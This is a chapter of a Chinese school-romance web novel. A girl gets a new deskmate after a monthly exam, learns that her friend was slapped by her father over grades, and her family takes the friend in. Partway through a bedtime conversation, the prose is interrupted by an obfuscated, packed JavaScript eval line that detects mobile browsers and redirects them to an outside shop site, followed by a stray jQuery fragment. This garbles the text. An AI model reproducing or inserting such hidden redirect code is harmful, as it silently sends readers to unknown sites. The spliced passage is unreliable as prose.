篮球比赛后,学习女工杨榆夕心无旁骛地投入了刷题中——第一次月考就要来了。
连月考前的最后一次周末,杨榆夕在餐桌上都还拿着单词本背单词,可把杨母杨父心疼坏了。
“你这孩子,都学得瘦了。别背了,先吃饭。”杨母说着,就夹了只虾递到女儿碗里。
杨榆夕边道谢边吃饭,可眼睛就是没离开单词本。
其实家里并没有给杨榆夕压力,但在中式教育下成长的孩子,不可能没有成绩焦虑,顶多是相对其他人好一点。
终于,国庆假后返校第一天,小羊同学收到了月考成绩的捷报!
高二(一)班,全班第十四名!全年级三十四名!
身为同桌的楚弛,看着杨榆夕的成绩感慨道:“小羊,你是有什么超能力吗?你怎么不管在哪个班,不管考试难不难,都能正好考到中间?”
“哪来的超能力。我踩线考进重点班的,这个排名我多不容易啊!”杨榆夕抹了下没有眼泪的眼角,假哭地有模有样。
但班主任并不满意这次月考成绩。
星期一班会课,班主任痛批学生们心思不在学习上,下令开设学习小组。
“座位按新的学习小组排,座位表我投屏到多媒体,你们等会下课就搬!”班主任说一不二。
终于要换同桌了!杨榆夕还没看新同桌是谁,一想到
可以远离楚弛这个祸害,就已经高兴得找不着北了。
四周讨论声、吐槽声渐起。
“诶,我不想和你分开,呜呜呜!”女生不舍地扒拉着朋友的手臂。
“我靠,兄弟,咱两前后桌!”是另外一个男生大力拍打原同桌的肩膀。
而在一众喧哗中,杨榆夕终于看见座位表上,自己的新同桌是谁——许竞昭。
杨榆夕惊讶,杨榆夕不解,杨榆夕无奈。
她一转头,和许竞昭对上视线,看着他似笑非笑对自己挥手,杨榆夕就直觉是他安排的。
旁边的楚弛嘟囔着要去找班主任理论,已经有人抢先一步上去了。
班主任不耐烦地拒绝了所有换位请求:“座位是我和班长结合这次月考成绩分的,是为了大家的成绩着想!要是不服气,谁下次进步十名,或者考到全班前三,再来找我谈换座位的事!”
“好了,我还要开会。许竞昭,你管下班级纪律,组织他们快点换好座位!”
许竞昭应好。
班主任一走,四周的人不约而同地看向许竞昭,像是在控诉。
许竞昭游刃有余地微笑道:“抱歉了同学们,师命难违,我已经尽力不动原座位了。”
“也是,老班要换,班长能怎么办。”看着不算太远的原同桌,不少人还是体谅了。
而全班离原同桌最远之人,楚弛,不可能体谅,还觉得许竞昭在挑衅自己。
像是预料到了楚弛要发飙,许竞昭先一步说:“要是个别同学实在不满意,可以去找班主任说,我也没有换位置的权力。”
“楚弛同学,你能够理解吧?”许竞昭眯着眼,像个奸诈狡猾的狐狸。
无论如何,楚弛最后也只能咽下了这口气。
轻轻“砰”的一声,两张桌子拼到一起。
少年身量高挑,又坐在外侧,微微俯下身问面前的女孩:“杨榆夕同学,上次给的甜品,你还记得吗?你还没回答我你喜欢哪款呢。”
杨榆夕下意识后退一步,小腿撞到了课桌椅:“嗯……那个冰淇淋泡芙,很好吃。”
杨榆夕暗自唾弃自己的不争气,明明不管在日记里,还是以前当面歪歪许竞昭,她都自然随意得很。
如今只是和许竞昭面对面说话,只要没提前准备好就会不知所措,搞得都不像自己了。
“哦——你喜欢甜口,我记住了。杨榆夕同学,很高兴和你成为同桌。”许竞昭伸出手,距离杨榆夕很近,是她一抬手就能握住的距离。
杨榆夕犹豫着,还是递出了手。
轻而易举地,许竞昭骨节分明的手包住了杨榆夕的,只留她孤零零的大拇指,轻轻搭在他的手背上。
好小,好想全部牵住……等会!
许竞昭触电般抽回手,为自己脑海里冒犯的想法懊恼。
杨榆夕毫无察觉,毕竟不相熟的异性牵半天,那才叫有问题。
“你,你可以不用那么客气,喊我小羊就好了。绵羊的羊。”杨榆夕又解释了一句,“我朋友们都是这么喊我的。”
原本运筹帷幄的许竞昭不知何时,红晕已经爬上了耳尖:“好的。小羊,小羊同学。可以吗?”
“不用加同学。”
“小羊。”
“嗯。”
许竞昭听过许多人这样喊杨榆夕,她的朋友、她的初恋前男友、她的父母。
现在,还什么都不是的他,也可以这样喊她了吗?是不是在小羊心里,他也已经是朋友了?
“叮叮叮叮——”下课铃。
分到了高二(三)班的时淇已经站在了教室窗边,招手示意杨榆夕一起去食堂吃饭。
许竞昭只好腾出位置,让两个女生团聚。
和高一时一样,时淇挽着杨榆夕的手臂,两人一边说话一边走远,许竞昭站在不远处看着她们的背影。
“大热天的,你怎么戴口罩了?”杨榆夕指了下时淇脸上的灰色口罩。
本来只是随口一问,没想到时淇反应奇大地撇过头:“啊……我,我有点感冒,怕传染。”
杨榆夕没信,拉着时淇到树荫下,摩挲着时淇脸上超出口罩的红痕:“那这个是什么。”
“嘶——”时淇想躲开,脸上现在还是火辣辣地疼,但杨榆夕用双手捧着她的脸,时淇动不了。
杨榆夕皱着眉,语气加重:“时淇,到底怎么了,难道谁打的你?我很担心。”
时淇微垂着眼眸,犹豫了半晌才说,“是我爸打的。他,上午来了趟学校。”
“为什么?”
“月考没考好。”
杨榆夕震惊了:“理科年级第五还没考好?虽然这肯定不是你的最佳水平,但这可是年级第五!”
时淇苦笑着,没有说话。
平时大方开朗的时淇,很少露出这样令人心疼的落寞神情,杨榆夕一下就心软了。
“我看看你的脸,行吗?”
既然杨榆夕已经知道了,时淇便没再瞒着,主动摘下了一边口罩。
夸张的巴掌印横亘在少女的左半张脸上,手指间隙印出的红痕突兀地肿起,最长的一条已经快到了眼尾,眼看着就要扇到眼睛。
杨榆夕伸出手,想碰,但想起刚刚时淇发出的吸气声,又蜷缩着手指放弃了。
“别去食堂了,我们去小超市吧,买个冰杯给你冰敷下。”杨榆夕牵起时淇的手,引她往另一个方向走。
“小羊。”时淇落后杨榆夕一步。
“怎么了?”
“这周末我去你家留宿,好不好?”
“你爸不会骂你?”高一的时候杨榆夕就邀请过她,但时淇说她爸不允许。
“没关系,他这周出差,我让管家奶奶帮我保密了。”
“行,那你有什么想吃的菜吗?我晚点给我爸打电话,让他提前准备!”
时淇想了想:“鱼香肉丝,可以吗?”
“收到!”杨榆夕笑嘻嘻地捏了两下时淇的手。
周五晚上,杨榆夕家的餐桌上,那盘鱼香肉丝就摆在距离时淇最近的位置。
两个小女孩火速干完饭洗完澡,舒舒服服地窝在被窝里聊天。
这是升高二以来,她们第一次像这样躺下来谈心。升级后不再同班同寝,很多消息都不再那么流通。
杨榆夕本想先问时淇脸上的伤的事,没想到时淇先一步“审问”上了。
“你和那个楚弛,怎么回事?以前才没听你说过他。”
“初中的事了,”杨榆夕目移,“他不是长得挺帅嘛,你也知道我是颜控,自然而然就看上了呗。”
“所以?”
“我以为他喜欢我,毕竟他的态度真的很暧昧啊!我暗戳戳催他表白,结果被狠狠嘲笑了。加上我写日记的事情,一开始就没瞒着他,现在也成了他手里的把柄,哈哈……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770849|209906||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
杨榆夕尴尬地笑笑,这种黑历史,说出来真的很让她难为情。
“那肯定是他的错,”时淇毫不犹豫骂楚弛,“家里批发家电的吗,装中央空调不要钱?!”
杨榆夕不好意思地回道:“他家还真卖家电的,格林电器集团,他家的。”
“……”
这下轮到时淇尴尬了:“这样啊,哈哈……不愧是中央空调。”
“不聊他了,”杨榆夕靠着时淇又挪了一下,“你还没说你脸上的伤呢,还疼吗?”
时淇直接把杨榆夕的手放到自己的脸上:“不疼了,你摸。”
杨榆夕心疼地轻抚着时淇细腻温热的脸颊:“怎么能因为一次考试没考好就打人呢?谁都有发挥失常的时候啊。”
“我爸没办法接受,他老觉得,为了我他付出了太多,我要是没考好,就是废物,对不起他的付出。”
“给吃的、给穿的就是付出了?高一的时候家长会,我都没见你爸来。”
时淇安抚地拍拍杨榆夕的手:“我爸妈在我很小的时候就离婚了,我妈不要我,觉得孩子耽误了她的自由,我爸就留下了我,还和我妈签了不再婚的合同。”
“可能对男人来说,不结婚就是天大的事?明明我妈为了这个合同,不是过错方都净身出户了。”
“我搞不懂你妈。”杨榆夕不解,“说她爱你吧,却不愿意带你一起走。说不爱你吧,又愿意为了你净身出户。”
时淇知道,黑暗中她的一切神情都可以隐藏,便没有克制脸上的难过和挣扎,只轻轻说了一句:“可能,爱就是复杂的,就像人一样。”
“那下次月考怎么办,万一生病或者别的什么原因发挥失常,你爸是不是还要打你?”杨榆夕不无担心地问。
“啊,下次月考没事。十一月底有竞赛,我爸说,让我冲刺拿奖,月考只要不掉出前五就行。”
“竞赛?数学竞赛CMO吗?”
“你怎么知道?”据时淇所知,杨榆夕从不关心这些竞赛,时淇自己也没提过。
黑暗中杨榆夕的表情扭曲了一下:“许竞昭也参加,我看见他桌上堆了好几本,天天在做题,就问了一句。”
“许竞昭参加这个比赛,会影响你拿奖吗?”杨榆夕担心时淇再被她爸打。
“算肯定算是竞争对手。但是这个竞赛是全国性的,没有他也有其他人呢。”
杨榆夕只听进去了前半句,心里就开始琢磨起了歪心思。
“没事,要是你爸还打你,你就别做他女儿了。来我家吧,给我当妹妹,我罩着你!”想着,杨榆夕觉得还是先给时淇兜个底更保险。
时淇只当玩笑话:“什么嘛,要算也是我当姐姐,我比你大呢。”
杨榆夕越想这个办法越好,也不管什么姐姐妹妹了,推着时淇起来换衣服。
“诶!干嘛?为什么要换衣服?”时淇拿着内衣一脸懵。
“快点快点!”
刚换好,杨榆夕拉着时淇跑到了隔壁主卧。
“妈妈开门,我是小羊呀!”大半夜的,杨榆夕“砰砰砰”地拍自家爸妈的房门。
杨母打开门,一点没恼:“怎么了小羊?”
“锵锵锵!”杨榆夕伸手比向时淇,“隆重介绍下,时淇,从今天开始就是我妹妹,是我们家的一份子了!”
“啊?”时淇瞪大眼睛。
她以为杨母会拒绝的,哪有人会愿意莫名其妙多了个女儿的。
“你得先问人家愿不愿意呢。”杨母笑眯眯地问时淇,“时淇,你愿意成为我的女儿吗?”
“可以吗?”时淇迟疑着。
“只要你愿意,我们都很欢迎你。”
“我…我愿意!”时淇眼睛亮晶晶的,看着杨榆夕母女笑,眼角却掉了泪。
杨榆夕帮她擦去了泪,小声保证道:“竞赛的事你放心,我也会尽力帮你的,不管是对手还是别的什么。”
时淇破涕为笑:“对手这个怎么帮?难道你要一个个全打晕,不让他们去比赛?”
“你别管,总之,相信我!”
“好,我相信你。”